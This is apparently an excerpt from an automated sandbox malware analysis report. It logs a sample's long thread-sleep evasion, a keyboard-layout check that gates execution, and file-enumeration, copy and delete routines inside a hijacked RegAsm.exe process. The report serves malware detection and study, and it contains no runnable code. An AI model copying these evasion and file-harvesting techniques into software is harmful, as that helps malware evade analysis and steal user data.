Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -568809s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -568601s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -568375s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -568172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -567953s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -567750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -567556s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -567340s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -567141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -566975s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -566815s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -566607s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -566047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -565841s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -565622s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -565442s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -565203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -564953s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -564703s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -564556s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -564349s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -564078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -563602s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -563478s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -563313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -563087s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -562860s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -562660s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -562460s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -562268s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -562140s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -561966s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -561766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -561512s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -561047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -560813s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -560620s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -560446s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -560255s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -560074s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -559922s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -559766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -559531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -559365s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -559172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558742s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558373s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -558031s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -557839s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -557650s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -557422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -557248s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -557093s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556759s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556595s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556406s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556252s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -556078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -555831s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -555599s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -555406s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -555236s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -555058s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -554902s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -554313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -554181s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -554000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -553803s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -553594s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -553389s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -553192s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -552982s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -552780s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -552563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -552313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -551735s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -551545s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -551297s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -551141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550922s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550542s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550357s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550219s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -550047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -549872s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -549683s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -549110s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -548828s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -548578s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -548375s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -548172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -548009s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -547750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -547563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -547391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -547203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -546985s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -546391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -546141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -545906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -545703s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -545516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -545250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -545063s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -544820s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -544516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -543436s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -543147s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -542890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -542700s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -542512s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -542250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -542053s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -541883s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -541697s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -541485s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -541073s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -540875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -540656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -540443s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -540281s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -540078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -539875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -539672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -539400s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -539180s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -538961s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -538500s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -538266s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -538066s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -537890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -537672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -537502s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -537344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -537150s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536176s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -536003s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -535766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -535547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -535383s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -535210s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -535016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -534815s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -534640s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -534453s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -534199s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -533813s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -533617s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -533464s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -533281s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -533125s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532983s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532469s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532328s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -532156s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -531953s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -531806s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -531406s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -531016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -530856s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -530718s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -530537s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -530344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -530156s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529964s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529623s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529296s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -529078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -528919s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -528766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -528531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -528358s >= -30000s Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe TID: 1308 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 516 Thread sleep time: -30000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Last function: Thread delayed
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
